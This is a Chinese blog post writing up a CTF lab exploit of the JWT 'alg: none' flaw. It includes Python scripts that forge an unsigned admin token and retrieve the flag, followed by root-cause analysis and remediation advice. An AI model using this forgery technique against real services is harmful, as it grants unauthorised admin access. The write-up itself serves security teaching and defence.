AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证"

admin 2026-10-22 06:40:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- JWT签名算法置空攻击:一个\"none\"绕过所有验证

原创

yushao
yushao

网络安全者

2026年6月17日 09:02
河南

在小说阅读器读本章

去阅读

一、测试概述

项目 内容
测试类型 CTF 靶场漏洞复现
漏洞类型 JWT Algorithm Confusion (alg: none)
危害等级 高危
测试时间 2025年
目标环境 CTF Show 靶场(已授权)

二、漏洞背景

JWT(JSON Web Token)由三部分组成:

Header.Payload.Signature

其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none,表示\"无签名算法\"。

漏洞成因: 部分 JWT 库在实现时直接信任客户端传来的 alg 字段,当攻击者将其篡改为 none 后,服务端跳过签名验证,导致任意用户可伪造合法 token。


三、信息收集

访问靶场首页,页面提示:

\"将 alg 字段修改为 none 来绕过签名验证\"

这直接揭示了攻击面。正常登录入口为 /login,GET 请求返回 405,确认为 POST 接口。


四、漏洞复现步骤

Step 1:获取普通用户 JWT

使用普通凭据登录,从 Cookie 中提取 token:

import requests

session = requests.Session()
resp = session.post(
    \"https://[REDACTED].challenge.ctf.show/login\",
    data={\"username\": \"user\", \"password\": \"user\"},
    allow_redirects=True
)

token = session.cookies.get(\"token\")
print(f\"[+] 获取到 Token: {token}\")

输出:

[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]

Step 2:解码 JWT 结构

import base64
import json

def b64_decode_padding(s):
    \"\"\"Base64 URL 解码,自动补 padding\"\"\"
    s += \"=\" * ((4 - len(s) % 4) % 4)
    return base64.b64decode(s)

token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]\"
parts = token.split(\".\")

header  = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))

print(f\"[*] Header:  {json.dumps(header,  ensure_ascii=False)}\")
print(f\"[*] Payload: {json.dumps(payload, ensure_ascii=False)}\")

输出:

[*] Header:  {\"alg\": \"HS256\", \"typ\": \"JWT\"}
[*] Payload: {\"user\": \"user\", \"admin\": false}

关键发现:admin 字段为 false,服务端以此判断权限。


Step 3:构造 alg:none 伪造 Token

import base64
import json

def b64_encode_nopad(data: bytes) -> str:
    \"\"\"Base64 URL 编码,去除 padding\"\"\"
    return base64.b64encode(data).decode().rstrip(\"=\")

# 篡改点1:alg 置为 none
forged_header  = {\"alg\": \"none\", \"typ\": \"JWT\"}
# 篡改点2:admin 提权为 true
forged_payload = {\"user\": \"user\", \"admin\": True}

header_b64  = b64_encode_nopad(json.dumps(forged_header,  separators=(\",\", \":\")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(\",\", \":\")).encode())

# 签名部分留空,服务端不再校验
forged_token = f\"{header_b64}.{payload_b64}.\"

print(f\"[+] 伪造 Token: {forged_token}\")

输出:

[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.

Token 结构分析:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0   ← {\"alg\":\"none\",\"typ\":\"JWT\"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ  ← {\"user\":\"user\",\"admin\":true}
.
                                          ← 签名为空

Step 4:携带伪造 Token 访问受保护资源

import requests

forged_token = \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.\"

session = requests.Session()
session.cookies.set(\"token\", forged_token)

resp = session.get(\"https://[REDACTED].challenge.ctf.show/\")
print(resp.text)

响应片段(敏感信息已脱敏):

<title>恭喜获得 FLAG</title>
...

  Flag: CTF{jwt_n**e_a**_byp**s_su**ess}

Flag 成功获取。


五、攻击流程图

用户登录 (user/user)
        │
        ▼
获取正常 JWT (alg=HS256, admin=false)
        │
        ▼
解码 Header + Payload
        │
        ▼
篡改: alg=\"none\", admin=true
        │
        ▼
重新编码,签名置空
        │
        ▼
携带伪造 Token 请求 /
        │
        ▼
服务端: alg=none → 跳过签名验证
        │
        ▼
权限校验: admin=true → 返回 FLAG ✓

六、漏洞根因分析

存在漏洞的服务端伪代码:

# ❌ 危险实现:信任 token 自带的算法字段
def verify_token(token):
    header = decode_header(token)
    alg = header.get(\"alg\")          # 攻击者可控!

    if alg == \"none\":
        return decode_payload(token)  # 直接跳过验证
    else:
        return jwt.decode(token, SECRET_KEY, algorithms=[alg])

七、修复建议

方案一:硬编码允许的算法列表(推荐)

# ✅ 安全实现:服务端强制指定算法,不信任客户端
import jwt

def verify_token(token):
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[\"HS256\"]  # 白名单,明确排除 none
        )
        return payload
    except jwt.InvalidTokenError:
        return None

方案二:使用非对称算法(RS256/ES256)

# 私钥签发(服务端保管)
token = jwt.encode(payload, PRIVATE_KEY, algorithm=\"RS256\")

# 公钥验证(可公开),攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"])

方案三:升级 JWT 库版本

主流库(如 PyJWT >= 2.0)已默认拒绝 alg: none,确保依赖为最新版:

pip install \"PyJWT>=2.0.0\"

八、总结

步骤 操作
1 用普通账号登录,获取含 admin:false 的 JWT
2 Base64 解码,分析 token 结构
3 将 alg 改为 none,admin 改为 true
4 签名段置空,重新拼接 token
5 服务端跳过验证,以管理员身份响应

核心教训: JWT 的 alg 字段是用户可控的输入,永远不能被服务端盲目信任。签名算法应由服务端在验证时硬编码指定,而非从 token 本身读取。


本报告仅用于 CTF 学习与安全研究,所有测试均在授权靶场环境中进行。


AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证" 网络安全文章

AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证"

本文详细分析了JWT签名算法置空攻击漏洞,通过CTF靶场复现展示了攻击者将alg字段篡改为none后服务端跳过签名验证的过程。关键发现包括:攻击者可伪造admin权限token获取FLAG,漏洞根因在于服务端盲目信任客户端传入的alg字段。提供了三种修复方案:硬编码算法白名单、使用非对称算法、升级JWT库版本。
邮箱后附加空白字符导致的注册覆盖或接管" 网络安全文章

邮箱后附加空白字符导致的注册覆盖或接管"

本文详细分析了邮箱注册功能中因后端处理不一致导致的安全漏洞,当唯一性校验与存储逻辑对空白字符处理不统一时,攻击者可通过在已知邮箱后附加空白字符注册新账户,可能导致账户覆盖或接管。文章提供了具体测试流程、常用测试向量及危害说明,具备较强的实操指导价值。
记一次攻防从外网到打穿内网" 网络安全文章

记一次攻防从外网到打穿内网"

本文记录了一次完整的攻防渗透过程,从外网发现GeoServer漏洞开始,通过WAF绕过、内存马注入、内网横向移动等手法,最终打穿内网。攻击者利用Java-Chains生成内存马绕过安全设备,结合静态路由、host文件等信息收集手段,发现并利用Nacos、帆软等系统漏洞持续渗透,最终通过注册表绕过dump出hash完成内网控制。
彼得·蒂尔秘密组织“Dialog”的机密名单遭曝光" 网络安全文章

彼得·蒂尔秘密组织“Dialog”的机密名单遭曝光"

文档披露了彼得·蒂尔创立的秘密组织Dialog的成员名单泄露事件,该组织汇集美国政商科技界精英并实行严格保密机制。泄露内容包含222名参与者的敏感个人信息、会议议程及政治倾向等数据,曝光渠道为网站配置漏洞。事件揭示了高端私密组织的网络安全风险,并对参与者隐私保护提出警示。
评论:0   参与:  0